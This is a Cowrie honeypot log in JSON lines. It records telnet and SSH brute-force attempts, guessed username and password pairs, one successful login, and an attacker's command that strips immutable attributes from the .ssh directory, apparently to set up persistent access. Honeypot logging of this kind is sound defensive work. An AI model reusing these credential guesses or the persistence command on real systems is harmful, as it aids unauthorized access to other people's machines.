{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":39222,"dst_ip":"10.17.0.5","dst_port":23,"session":"6abebf5a32b2","protocol":"telnet","message":"New connection: 64.227.101.30:39222 (10.17.0.5:23) [session: 6abebf5a32b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:47:51.470874Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":40124,"dst_ip":"10.17.0.5","dst_port":23,"session":"1203c695cf44","protocol":"telnet","message":"New connection: 64.227.101.30:40124 (10.17.0.5:23) [session: 1203c695cf44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:47:54.501220Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.226.19","src_port":45608,"dst_ip":"159.203.135.109","dst_port":23,"session":"33bbcbf6714d","protocol":"telnet","message":"New connection: 185.242.226.19:45608 (159.203.135.109:23) [session: 33bbcbf6714d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:48:01.845575Z"}
{"eventid":"cowrie.session.closed","duration":90.21647214889526,"message":"Connection lost after 90 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:48:07.497852Z","src_ip":"64.227.101.30","session":"6bcc657cacba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00482535362244,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:48:10.625570Z","src_ip":"64.227.101.30","session":"70add100200f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.916593790054321,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:48:11.762059Z","src_ip":"185.242.226.19","session":"33bbcbf6714d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.217.56","src_port":60862,"dst_ip":"10.17.0.5","dst_port":22,"session":"d92292be0583","protocol":"ssh","message":"New connection: 78.40.217.56:60862 (10.17.0.5:22) [session: d92292be0583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:48:25.630412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:48:25.635334Z","src_ip":"78.40.217.56","session":"d92292be0583","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:48:25.780685Z","src_ip":"78.40.217.56","session":"d92292be0583","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123@abc","message":"login attempt [user/123@abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:48:26.391779Z","src_ip":"78.40.217.56","session":"d92292be0583","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:48:27.539628Z","src_ip":"78.40.217.56","session":"d92292be0583","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.89285445213318,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:48:29.363607Z","src_ip":"64.227.101.30","session":"6abebf5a32b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":37668,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac10b535d5d5","protocol":"telnet","message":"New connection: 64.227.101.30:37668 (10.17.0.5:23) [session: ac10b535d5d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:48:31.825021Z"}
{"eventid":"cowrie.session.closed","duration":0.0050661563873291016,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:48:31.829959Z","src_ip":"64.227.101.30","session":"ac10b535d5d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.3935763835907,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:48:31.894661Z","src_ip":"64.227.101.30","session":"1203c695cf44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":53444,"dst_ip":"10.17.0.5","dst_port":23,"session":"997b867e257c","protocol":"telnet","message":"New connection: 64.227.101.30:53444 (10.17.0.5:23) [session: 997b867e257c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:48:49.136804Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":59330,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef76e9b16684","protocol":"ssh","message":"New connection: 94.156.152.18:59330 (10.17.0.5:22) [session: ef76e9b16684]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:49:08.181828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:49:08.187988Z","src_ip":"94.156.152.18","session":"ef76e9b16684","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:49:08.352070Z","src_ip":"94.156.152.18","session":"ef76e9b16684","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QUEEN#8VCPU32GBAMD","message":"login attempt [root/QUEEN#8VCPU32GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:49:08.838022Z","src_ip":"94.156.152.18","session":"ef76e9b16684","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:49:10.005804Z","src_ip":"94.156.152.18","session":"ef76e9b16684","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":33284,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c79b4c60ee3","protocol":"telnet","message":"New connection: 64.227.101.30:33284 (10.17.0.5:23) [session: 0c79b4c60ee3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:49:10.239413Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":36362,"dst_ip":"10.17.0.5","dst_port":23,"session":"a911ae0b008b","protocol":"telnet","message":"New connection: 64.227.101.30:36362 (10.17.0.5:23) [session: a911ae0b008b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:49:17.617702Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.217.56","src_port":44226,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7de7b1d7049","protocol":"ssh","message":"New connection: 78.40.217.56:44226 (10.17.0.5:22) [session: f7de7b1d7049]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:49:18.043284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:49:18.047782Z","src_ip":"78.40.217.56","session":"f7de7b1d7049","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:49:18.198354Z","src_ip":"78.40.217.56","session":"f7de7b1d7049","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ab@123456","message":"login attempt [root/ab@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:49:18.814891Z","src_ip":"78.40.217.56","session":"f7de7b1d7049","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:49:19.964651Z","src_ip":"78.40.217.56","session":"f7de7b1d7049","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":38504,"dst_ip":"10.17.0.5","dst_port":23,"session":"0209d0983e36","protocol":"telnet","message":"New connection: 64.227.101.30:38504 (10.17.0.5:23) [session: 0209d0983e36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:49:22.517734Z"}
{"eventid":"cowrie.session.closed","duration":36.06325554847717,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:49:25.199939Z","src_ip":"64.227.101.30","session":"997b867e257c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":44548,"dst_ip":"159.203.135.109","dst_port":23,"session":"1850940810df","protocol":"telnet","message":"New connection: 68.183.198.12:44548 (159.203.135.109:23) [session: 1850940810df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:49:32.427223Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":45992,"dst_ip":"10.17.0.5","dst_port":23,"session":"a404ee045ffa","protocol":"telnet","message":"New connection: 64.227.101.30:45992 (10.17.0.5:23) [session: a404ee045ffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:49:39.083336Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":46988,"dst_ip":"10.17.0.5","dst_port":23,"session":"190ed58a573d","protocol":"telnet","message":"New connection: 64.227.101.30:46988 (10.17.0.5:23) [session: 190ed58a573d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:49:39.915661Z"}
{"eventid":"cowrie.session.closed","duration":39.59280705451965,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:49:49.832098Z","src_ip":"64.227.101.30","session":"0c79b4c60ee3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.9670627117157,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:49:51.584650Z","src_ip":"64.227.101.30","session":"a911ae0b008b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":53418,"dst_ip":"10.17.0.5","dst_port":23,"session":"de92e5aea49c","protocol":"telnet","message":"New connection: 64.227.101.30:53418 (10.17.0.5:23) [session: de92e5aea49c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:49:52.899649Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":55778,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b29b5ae752d","protocol":"telnet","message":"New connection: 64.227.101.30:55778 (10.17.0.5:23) [session: 4b29b5ae752d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:49:56.230821Z"}
{"eventid":"cowrie.session.closed","duration":42.03860664367676,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:50:04.556221Z","src_ip":"64.227.101.30","session":"0209d0983e36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":34300,"dst_ip":"10.17.0.5","dst_port":23,"session":"50a6d5ac3a9e","protocol":"telnet","message":"New connection: 64.227.101.30:34300 (10.17.0.5:23) [session: 50a6d5ac3a9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:50:12.804797Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.217.56","src_port":55574,"dst_ip":"10.17.0.5","dst_port":22,"session":"be221b342d5d","protocol":"ssh","message":"New connection: 78.40.217.56:55574 (10.17.0.5:22) [session: be221b342d5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:50:12.855797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:50:12.860052Z","src_ip":"78.40.217.56","session":"be221b342d5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:50:13.008139Z","src_ip":"78.40.217.56","session":"be221b342d5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"johnny","message":"login attempt [root/johnny] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:50:13.623203Z","src_ip":"78.40.217.56","session":"be221b342d5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":37170,"dst_ip":"10.17.0.5","dst_port":23,"session":"71f0a95989ef","protocol":"telnet","message":"New connection: 64.227.101.30:37170 (10.17.0.5:23) [session: 71f0a95989ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:50:13.817697Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:50:14.774338Z","src_ip":"78.40.217.56","session":"be221b342d5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.37733197212219,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:50:17.804446Z","src_ip":"68.183.198.12","session":"1850940810df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.085464000701904,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:50:18.000978Z","src_ip":"64.227.101.30","session":"190ed58a573d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":40528,"dst_ip":"10.17.0.5","dst_port":23,"session":"905f37850dc7","protocol":"telnet","message":"New connection: 64.227.101.30:40528 (10.17.0.5:23) [session: 905f37850dc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:50:20.450183Z"}
{"eventid":"cowrie.session.closed","duration":45.33402109146118,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:50:24.417245Z","src_ip":"64.227.101.30","session":"a404ee045ffa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.55094337463379,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:50:29.450444Z","src_ip":"64.227.101.30","session":"de92e5aea49c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.36.49","src_port":40629,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6829ceee6ba","protocol":"ssh","message":"New connection: 49.247.36.49:40629 (10.17.0.5:22) [session: a6829ceee6ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:50:31.217288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:50:31.223315Z","src_ip":"49.247.36.49","session":"a6829ceee6ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:50:31.432505Z","src_ip":"49.247.36.49","session":"a6829ceee6ba","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle@2026","message":"login attempt [oracle/oracle@2026] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:50:32.297711Z","src_ip":"49.247.36.49","session":"a6829ceee6ba","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:50:32.768836Z","src_ip":"49.247.36.49","session":"a6829ceee6ba","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:50:32.772512Z","src_ip":"49.247.36.49","session":"a6829ceee6ba","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:50:32.776591Z","src_ip":"49.247.36.49","session":"a6829ceee6ba","protocol":"ssh"}
